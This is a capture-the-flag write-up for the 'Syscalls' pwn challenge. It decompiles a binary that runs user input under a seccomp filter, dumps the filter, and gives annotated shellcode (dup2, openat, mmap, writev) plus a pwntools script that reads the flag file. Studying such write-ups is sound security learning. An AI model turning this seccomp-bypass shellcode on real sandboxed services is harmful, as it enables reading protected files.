Syscalls (pwn)

You can't escape this fortress of security.

The pseudocode Ghidra gives us is as follows (with functions renamed):

void main(void)
{
  long in_FS_OFFSET;
  undefined local_c8 [184];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  intro(local_c8);
  set_seccomp();
  execshellcode(local_c8);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
void intro(char *param_1)
{
  puts(
      "The flag is in a file named flag.txt located in the same directory as this binary. That\'s al l the information I can give you."
      );
  fgets(param_1,176,stdin);
  return;
}
int set_seccomp(void)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined2 local_e8 [4];
  undefined8 *local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_d8 = 0x400000020;
  local_d0 = 0xc000003e16000015;
  local_c8 = 0x20;
  local_c0 = 0x4000000001000035;
  local_b8 = 0xffffffff13000015;
  local_b0 = 0x120015;
  local_a8 = 0x100110015;
  local_a0 = 0x200100015;
  local_98 = 0x11000f0015;
  local_90 = 0x13000e0015;
  local_88 = 0x28000d0015;
  local_80 = 0x39000c0015;
  local_78 = 0x3b000b0015;
  local_70 = 0x113000a0015;
  local_68 = 0x12700090015;
  local_60 = 0x12800080015;
  local_58 = 0x14200070015;
  local_50 = 0x1405000015;
  local_48 = 0x1400000020;
  local_40 = 0x30025;
  local_38 = 0x3000015;
  local_30 = 0x1000000020;
  local_28 = 0x3e801000025;
  local_20 = 0x7fff000000000006;
  local_18 = 6;
  local_e0 = &local_d8;
  local_e8[0] = 0x19;
                    /* PR_SET_NO_NEW_PRIVS */
  prctl(38,1,0,0,0);
  iVar1 = prctl(22,2,local_e8);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1;
}
void execshellcode(code *param_1)
{
  (*param_1)();
  return;
}

Firstly, main() calls the intro() function, which obtains input from stdin and puts it into local_c8.

Then, in set_seccomp(), we see a few prctl calls. On investigating the documentation, what prctl does depends on its first argument. The first prctl call has 38 as its first argument which represents PR_SET_NO_NEW_PRIVS (with reference to prctl.h). This means that execve promises not to grant privileges to do anything that could not have been done without the execve call (with reference to the manpage for pr_set_no_new_privs). The second prctl call has a first argument of 22, which is PR_SET_SECCOMP. Referring to seccomp.h, the second argument is 2 which refers to SECCOMP_MODE_FILTER. This means that the third argument, which is local_e8, is a pointer to the filter to be applied.

To check the seccomp rules which have been applied, we can use the seccomp-tools. On running seccomp-tools dump ./syscalls, we can see the following seccomp rules:

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x16 0xc000003e  if (A != ARCH_X86_64) goto 0024
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x13 0xffffffff  if (A != 0xffffffff) goto 0024
 0005: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0024
 0006: 0x15 0x11 0x00 0x00000001  if (A == write) goto 0024
 0007: 0x15 0x10 0x00 0x00000002  if (A == open) goto 0024
 0008: 0x15 0x0f 0x00 0x00000011  if (A == pread64) goto 0024
 0009: 0x15 0x0e 0x00 0x00000013  if (A == readv) goto 0024
 0010: 0x15 0x0d 0x00 0x00000028  if (A == sendfile) goto 0024
 0011: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0024
 0012: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0024
 0013: 0x15 0x0a 0x00 0x00000113  if (A == splice) goto 0024
 0014: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0024
 0015: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0024
 0016: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0024
 0017: 0x15 0x00 0x05 0x00000014  if (A != writev) goto 0023
 0018: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # writev(fd, vec, vlen)
 0019: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0023
 0020: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0024
 0021: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0022: 0x25 0x00 0x01 0x000003e8  if (A <= 0x3e8) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

The rules prevent us from using most file i/o related syscalls, but allows us to use writev as long as either:

  1. The first 32 bits of the file descriptor are greater than 0, or

  2. The first 32 bits of the file descriptor = 0, and the file descriptor > 0x3e8.

After the call to set_seccomp, the execshellcode() function is invoked. It treats our input, which was stored in local_c8, as code and runs it.

This challenge requires us to provide shellcode to read flag.txt, given the restrictive seccomp rules. Usually, in order to print a file's contents to stdout, we would call open with the filename to obtain the file handle, call read with its handle to read the contents into a buffer, then call write to output the buffer content to the stdout file descriptor (which is 1). After a bit of research on the remaining syscall options, I was able to find alternatives to these syscalls. Instead of using open, we can use openat. Instead of using read, pread64, readvor preadv, we can use mmap to map the file handle's contents into memory. To output to stdout, we can use writev, but we cannot use 2 as the file descriptor. Hence we have to first use dup2 to duplicate the stdout file descriptor to one that seccomp won't kill, then call writev on our new file descriptor.

Here's the annotated shellcode I used (written in x64 assembly using intel syntax):

mov rax, 33 ; prepare for dup2 syscall
mov rsi, 0x3e9 ; new file descriptor that seccomp approves of
mov rdi, 1 ; stdout file descriptor
syscall

mov rax, 257 ; prepare for openat syscall
mov rdi, -100 ; -100 is a special value for dfd, so our pathname is relative to the current working directory
mov r10, 0x7478 ; "tx"
push r10 ; push last 2 bytes of pathname to stack
mov r10, 0x742e67616c662f2e ; t.galf/.
push r10 ; push first 8 bytes of pathname to stack
mov rsi, rsp ; move address of "./flag.txt" string into rsi
mov rdx, 0 ; flags = 0
mov r10, 0 ; mode = 0
syscall

mov r8, rax ; move fd of flag.txt into r8
mov rax, 9 ; prepare for mmap syscall
mov rdi, 0 ; addr = NULL
mov rsi, 100 ; read 100 bytes from flag.txt
mov rdx, 0x1 ; prot = 1 => PROT_READ, so pages can be read
mov r10, 0x2 ; flags = MAP_PRIVATE
mov r9, 0 ; offset = 0
syscall

mov r10, rax ; move buffer address into r10
mov r9, 100 ; length of buffer 
push r9 ; push iov_len attribute of iovec struct onto stack
push r10 ; push *iov_base of iovec struct onto stack
mov rsi, rsp ; rsi: pointer to an iovec struct
mov rax, 20 ; prepare for writev syscall
mov rdi, 0x3e9 ; fd of our copied stdout
mov rdx, 1 ; number of buffers pointed to, we only have 1
syscall

mov rax, 60 ; exit syscall
syscall

With this payload, we can construct the payload using pwntools and send it to the server to retrieve the flag. My solve script is as follows:

from pwn import *
# fill in binary name
elf = context.binary = ELF("./syscalls")
# fill in libc name
libc = ELF("./libc.so.6")

if args.REMOTE:
  # fill in remote address
  p = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)
else:
  p = elf.process(env = {"LD_PRELOAD": libc.path})

# create exploit here
# payload must be at most 176 bytes
# int dup2(int oldfd, int newfd);
# int openat(int dirfd, const char *pathname, int flags, mode_t mode);
# void *mmap(void addr[.length], size_t length, int prot, int flags, int fd, off_t offset);
# ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

print("./flag.txt".encode("utf-8").hex()) # 2e2f666c61672e747874

payload = """
mov rax, 33
mov rsi, 0x3e9
mov rdi, 1
syscall

mov rax, 257
mov rdi, -100
mov r10, 0x7478
push r10
mov r10, 0x742e67616c662f2e
push r10
mov rsi, rsp
mov rdx, 0
mov r10, 0
syscall

mov r8, rax
mov rax, 9 
mov rdi, 0 
mov rsi, 100
mov rdx, 0x1 
mov r10, 0x2 
mov r9, 0 
syscall

mov r10, rax
mov r9, 100
push r9
push r10
mov rsi, rsp
mov rax, 20
mov rdi, 0x3e9
mov rdx, 1
syscall

mov rax, 60
syscall
"""

payload = asm(payload)
print(f"payload length: {len(payload)}")

# pause()
p.sendlineafter(b"you.\n", payload)
info(p.recvall()) # uiuctf{a532aaf9aaed1fa5906de364a1162e0833c57a0246ab9ffc}

Last updated